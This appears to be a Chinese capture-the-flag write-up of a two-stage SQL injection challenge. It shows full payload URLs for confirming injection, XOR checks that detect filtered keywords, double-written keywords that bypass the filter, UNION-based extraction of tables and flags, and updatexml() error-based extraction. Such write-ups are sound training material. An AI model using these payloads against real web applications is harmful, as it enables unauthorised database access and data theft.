题目为多次的提示,啥意思 已进入网站发现有参数:1
所有设法改变一下参数。1-5全部试了一遍,在id=5的时候有另一个提示。
在这里可以试试sql注入。那就是注入的知识点了:
只能采取盲注:(也就是猜他过滤了什么)
后面加上 ‘ 返回错误;加上 —+ 返回正常。确实存在sql注入。
输入?id=1’ or 1=1—+ 也报错。确实存在过滤。输入id=1’%23(#)又对了
那如何检测哪些字符串被过滤呢?异或注入了解一下
异或注入是啥:两个条件相同(同真或同假)既为假
那么接下来我们就是查询列数了:输入id=1’ order by 3%23,显示error,改为1,还是error,慌了…估计是吧order或者by给过滤了。
试一下id异或注入:输入id=1’ ^ (length(‘order’)!=0)%23,显示error,说明不是order被过滤
再试一下输入:id=1’ ^ (length(‘or’)!=0)%23发现又显示了正常的信息
经过尝试发现:and,select,union都被过滤了
那就是or被过滤了,那就双写拼接绕过呗:
输入id=1’ oorrder by 2%23显示正常信息
id=1’ oorrder by 3%23,显示error,说明查询列数为2
接下来。又是熟悉的味道,又是熟悉的气息;素质三连:http://123.206.87.240:9004/1ndex.php?id=0%27%20ununionion%20seselectlect%201,database()%23%23)
爆表名
输入id=0’ uunionnion sselectelect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()%23
爆flag列下的数据
输入id=0’ uunionnion sselectelect 1,flag1 from flag1%23
然后提交是错误的。好吧 有两个flag
提交flag显示错误,换个字段,爆address,得出下一关地址
卧槽,太难了把
上面又有参数:他竟然还是sql注入的知识
那我就再注入一次咯:输入1’ order by 2#发现有两个列。那就老套路
输入?id=-1’ union select 1,database()%23
发现union和select都被过滤掉了 那么我们双写试试:
还是什么都没有!!!
报错注入
https://www.jianshu.com/p/a52fe9eaeaa6
这里利用updatexml()报错注入
查数据表
http://120.24.86.145:9004/Once_More.php?id=1‘ and updatexml(1,concat(‘~’,(select group_concat(table_name) from information_schema.tables where table_schema=database()),’~’),3) %23
查字段
?id=1’ and updatexml(1,concat(‘~’,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’flag2’),’~’),3) %23
查数据
?id=1’ and updatexml(1,concat(‘~’,(select flag2 from flag2),’~’),3) %23